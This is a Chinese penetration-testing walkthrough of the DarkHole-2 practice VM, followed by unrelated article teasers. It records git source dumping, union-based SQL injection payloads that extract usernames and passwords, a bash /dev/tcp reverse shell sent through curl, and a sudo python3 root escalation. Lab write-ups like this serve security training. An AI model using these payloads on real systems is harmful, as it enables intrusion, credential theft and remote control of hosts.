Neos的渗透测试靶机练习——DarkHole-2

news2024/10/5 20:23:00

DarkHole-2

    • 一、实验环境
    • 二、开始渗透
      • 1. 搜集信息
      • 2. git文件泄露
      • 3. SQL注入
      • 4. 提权
    • 三、总结


一、实验环境

虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DarkHole-2(网卡初始为仅主机模式,要有安全意识)

靶机网卡有问题需要提前修改,进入系统前先按shift,
然后按e进入编辑模式,
将ro 至 initrd之前 的内容修改为 rw single init=/bin/bash,
然后按ctrl + x,重新设置password(输入passwd 然后输入想设置的密码),
输入vim /etc/netplan/00-installer-config.yaml,
将其中的ens33修改为enp0s17,
保存后关靶机,
至此 重启靶机 在攻击机中可搜到ip。

二、开始渗透

1. 搜集信息

输入sudo su,将kali切换到root权限
切换为root权限
输入ifconfig查询自身ip,即攻击机ip
查自身ip
可以看到自身ip192.168.56.101
输入arp-scan -l扫描本网段存活主机,即靶机ip地址
靶机ip
可以看到靶机ip192.168.56.105,。
输入nmap -sV -p- 192.168.56.105扫描靶机所有端口开放情况
靶机端口
可以看到端口22、80是开放的。
浏览器输入192.168.56.105:80。
dh-2

命令行输入whatweb 192.168.56.105查询网站指纹信息
网站指纹
没什么关键信息。
输入dirsearch -u http://192.168.56.105,扫描网站目录。
扫描结果
扫描出来个/.git/目录,这个目录是本次渗透测的关键点,因为可以通过两个工具githack、git-dumper得到网页源代码。
我们这里使用git-dumper
先下载安装pip install git-dumper,然后输入git-dumper http://192.168.56.105/.git/ neosHack将源代码导入本地neosHack目录中。
在这里插入图片描述

2. git文件泄露

我们进入该目录,输入git log查看日志。
在这里插入图片描述
发现有三次提交记录,我们使用git diff命令挨个查看三次提交在哪里修改过代码。
在这里插入图片描述
发现第二条有修改代码的记录,并在其中发现了一个邮箱用户lush@admin.com密码321
我们使用这个账号重新登陆页面。
在这里插入图片描述
点击提交按钮没有用,但是URL有一个参数id。我刚经历过sqli-labs的洗礼,本能的认为这里有SQL注入,我们不用sqlmap了,手动测一下。
我做了一个SQL注入专项靶场训练,感兴趣的可以看我这一篇文章:Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南,里面基本上涉及到SQL注入所有技巧了。

3. SQL注入

1)测试是数字型注入还是字符型注入:
构造参数:?id=1 and 1=1?id=1 and 1=2,发现二者页面显示内容相同,说明不是数字型注入;
2)判断闭合点
添加单引号:?id=1',页面空白,重新添加双引号:?id=1",页面正常显示,说明是字符型单引号闭合。
3)测试数据表的列数
构造参数:?id=1' order by 6 -- neos,正常显示,当order by 7时页面空白,说明数据表为6列。
4)测试回显位
构造参数:?id=-1' union select 1,2,3,4,5,6 -- neos,发现回显位为2,3,5,6号位。
在这里插入图片描述
5)联合注入:
有这么多的回显位,我们可以一次性测出很多东西。
1>测数据库名
我们构造参数:?id=-1' union select 1,database(),version(),4,@@basedir,@@datadir -- neos在这里插入图片描述
我们在对应的回显位分别测出了数据库名版本数据库的安装路径数据库文件的存放路径
2>测数据表名
我们继续构造参数:?id=-1' union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database() -- neos
在这里插入图片描述
测出了数据库darkhole_2有两个数据表sshusers
3>测属性名
我们分别测ssh表和users表有哪些属性名。
ssh表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='ssh' -- neos,发现该表有三个属性名id、pass、user
在这里插入图片描述
users表:?id=-1' union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name='users' -- neos,发现有很多个属性名,但我们只需要知道id,password,username这三个属性即可。这里没显示全,这种情况下我们可以借助limit关键字来将剩余的属性名测出来,比如构造参数:?id=-1' union select 1,2,column_name,4,5,6 from information_schema.columns where table_name='users' limit 6,1-- neos得知那个没显示全的属性名为CURRENT_CONNECTIONS
在这里插入图片描述
4>测数据项
测ssh表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from ssh-- neos,发现只有一个用户jehad,密码为fool
在这里插入图片描述
测users表的所有内容:?id=-1' union select 1,2,group_concat(id),4,group_concat(username),group_concat(password) from users -- neos,发现依然只有一个用户。
在这里插入图片描述
6)登陆账号
我们使用ssh表中的那个jehad用户ssh登陆。
在这里插入图片描述

4. 提权

sudo -lfind / -perm -u=s -type f 2>/dev/null没发现什么可以提权的地方。
我们继续输入cat .bash_history查看历史文件,发现9999端口是有服务的。
在这里插入图片描述
我们输入ss -antp,查看socket信息,发下9999端口确实有活动信息。
在这里插入图片描述
输入cat /etc/crontab,查看定时任务信息,发现另一个用户losy
在这里插入图片描述
输入curl "http://127.0.0.1:9999/?cmd=whoami",发现9999端口可以以losy的权限执行命令:
在这里插入图片描述
那么losy就是我们的目标了。9999端口没办法访问,我们重新ssh连接,将本地端口 9999端口与靶机端口映射,访问本机9999端口转发到靶机9999端口:ssh jehad@192.168.56.105 -L 9999:localhost:9999
在这里插入图片描述
本地监听nc -lvvp 4444
在这里插入图片描述
然后构造命令bash -c 'bash -i >& /dev/tcp/192.168.56.101/4444 0>&1',对其进行URL编码。
在这里插入图片描述
靶机输入curl http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.56.101%2f4444+0%3e%261%27,成功反弹losy的shell。
在这里插入图片描述
我们查看/home/losy目录下的.bash_history文件发现下面有losy的密码。
在这里插入图片描述
我们ssh登陆losy用户,
在这里插入图片描述
发现可以以root执行python,
在这里插入图片描述
我们直接输入sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")',成功提权到root,并在/root目录下发现flag!!!
在这里插入图片描述
至此,渗透结束。


三、总结

本次渗透测试总体来讲比较简单的,都是以往渗透遇到的经典操作,注意一下git文件泄露,及SQL注入漏洞的原理即可。


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1406123.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构】 顺序栈的基本操作 (C语言版)

目录 一、顺序栈 1、顺序栈的定义: 2、顺序栈的优缺点 二、顺序栈的基本操作算法(C语言) 1、宏定义 2、创建结构体 3、顺序栈的初始化 4、顺序栈的入栈 5、顺序栈的出栈 6、取栈顶元素 7、栈的遍历输出 8、顺序栈的判空 9、顺…

记一次Flink通过Kafka写入MySQL的过程

一、前言 总体思路:source -->transform -->sink ,即从source获取相应的数据来源,然后进行数据转换,将数据从比较乱的格式,转换成我们需要的格式,转换处理后,然后进行sink功能,也就是将数…

Linux:vim的相关知识

目录 vim 是一个较为常见的编译文件的命令操作。 三种模式的区分的作用如下: 命令模式: 插入模式: 进入插入模式的标志:左下角有INSERT 底行模式: 命令模式的常见命令: 底行模式常见命令&#xff1…

解析找不到msvcr110.dll,无法继续支持此代码的多种修复方法

当你在运行某些应用程序或游戏时,可能会遇到"找不到msvcr110.dll无法继续执行"的错误信息,这通常表明系统中缺少某个重要文件。为了解决这个问题,让我们先探讨为什么会发生这种情况。只要了解了,我们才能用更多的方法去…

JAVA 学习 面试(六)数据类型与方法

数据类型 基本数据类型 为什么float3.4报错 3.4 默认是浮点double类型的,如果赋值给float是向下转型,会出现精度缺失,,需要强制转换 Switch支持的数据类型? byte、short、int、char 、 enum 、 String 基本类型与包…

Git的merge和rebase你真的了解吗?

1. 前言 在我们的日常开发中,Git扮演着重要的角色,负责管理代码的版本。分支管理在开发过程中具有显著的影响。通常情况下,我们有生产、预发、测试和开发这几种分支。根据项目的不同阶段,我们会将代码提交到相应的版本上。标准的…

OpenGL ES 实现图像腐蚀、膨胀、边缘检测

前文我们详细讲了图像锐化的基本原理,本文再介绍一下图像基本处理之腐蚀、膨胀和边缘检测,它们在图像处理和计算机视觉领域有着广泛的应用。 图像腐蚀(Image Erosion):用于缩小或消除图像中物体的边界。主要用于去除图像中的小细节、噪声或不规则物体。 实现图像腐蚀的片…

【Android 10】 BatteryController

学习了一下电池的相关模式,也就是它的观察者模式,先附上图 图应该挺清晰的,BatteryControllerImpl就是被观察者,BatteryControllerImpl重写了CallbackController的两个方法用于添加或移除观察者。 void addCallback(T listener);…

编码下的雪景:如何用HTML和JS让雪花在屏幕上舞动

这段时间,全国各地都加入了下雪的队伍当中,看着窗外漫天飞雪,想着我的网站上面也来一场雪吧。正琢磨着如何实现,网上突然蹦出来一段下雪的代码,这不正是我要的么?先来看看效果吧。 效果一 效果二 效果三 要…

7.Feign远程调用

2.Feign远程调用 先来看我们以前利用RestTemplate发起远程调用的代码: 存在下面的问题: •代码可读性差,编程体验不统一 •参数复杂URL难以维护 Feign是一个声明式的http客户端,官方地址:https://github.com/OpenF…

Modbus通信无法正确接收应答的问题处理

问题现象: 现场反馈,modbus网关无法正确读取就地设备的温度信息。使用PC连接就地设备可以正常读取。 问题调查: 拿到末端设备后,故障现象可重复,不过使用PC的USB转485适配器也无法正常读取数据。 如下图&#xff1…

不要为了学习而学习

经常有朋友问我: 老师,从您这里学了很多方法,也一直想要改变自己,但总是没办法坚持下去,怎么办? 这个问题,我也很无奈啊。毕竟我也没办法飞到你身边,手把手把每一步都教给你。&…

万字长文详解Java线程池面试题

王有志,一个分享硬核 Java 技术的互金摸鱼侠 加入 Java 人的提桶跑路群:共同富裕的Java人 今天是《面霸的自我修养》第 6 篇文章,我们一起来看看面试中会问到哪些关于线程池的问题吧。数据来源: 大部分来自于各机构(J…

编程入门:五个你必须知道的编程常识

常识1:编程不仅仅是写代码 当我们谈论编程时,大多数人首先想到的是写代码。这是正确的,但并不完整。编程不仅仅是写代码,而是解决问题的一种方式。编程是一种工具,我们使用它来创建能够解决特定问题的产品和服务。 比…

【日常聊聊】自然语言处理的发展

🍎个人博客:个人主页 🏆个人专栏: 日常聊聊 ⛳️ 功不唐捐,玉汝于成 目录 前言 正文 技术进步 应用场景 挑战与前景 伦理和社会影响 实践经验 结语 我的其他博客 前言 自然语言处理(NLP&#xf…

iLO 安装中文固件包

前言 安装中文版本的安装包,需要把对应的ilo安装到固定的版本上,ilo的版本是2.70。必须是这个版本; 如果不是这个版本就需要刷到对应的ilo版本 下载对应的固件包。 到这个界面选择文件,然后点击上载。 以上就是刷系统包的步骤。 …

物流实时数仓——概述与准备工作

目录 一、架构设计与技术栈 (一)数仓架构设计 (二)所用技术栈 (三)最终效果 二、关于离线与实时的相关概念 三、实时数仓设计思路 一、架构设计与技术栈 (一)数仓架构设计 (二)所用技术栈 Hadoop 3.3.4 Zookeeper 3.7.1 Kafka 3.3.1 Hbase 2.4.11 Redis 6.0.8 Flink 1.17…

Linux操作系统概念

绪论​: “心灵纯洁的人,生活充满甜蜜和喜悦。——列夫托尔斯泰”,本章的主要内容是介绍了硬件的组成结构冯诺依曼体系结构以及操作系统的概念和操作系统的作用,本章的内容主要是理论他起到承上启下的作用只有理解了操作系统的运行…

基于SpringBoot Vue宠物领养系统

大家好✌!我是Dwzun。很高兴你能来阅读我,我会陆续更新Java后端、前端、数据库、项目案例等相关知识点总结,还为大家分享优质的实战项目,本人在Java项目开发领域有多年的经验,陆续会更新更多优质的Java实战项目&#x…

了解面试必会算法Sliding Window 模式的前世今生

大家好,今天我们来聊一聊sliding window pattern。又是给有个机会给班花讲题的好机会,不能错过! Sliding Window Pattern,中文名字叫滑动窗口模式,是一种常见的算法思想。它可以用来解决很多问题,比如&am…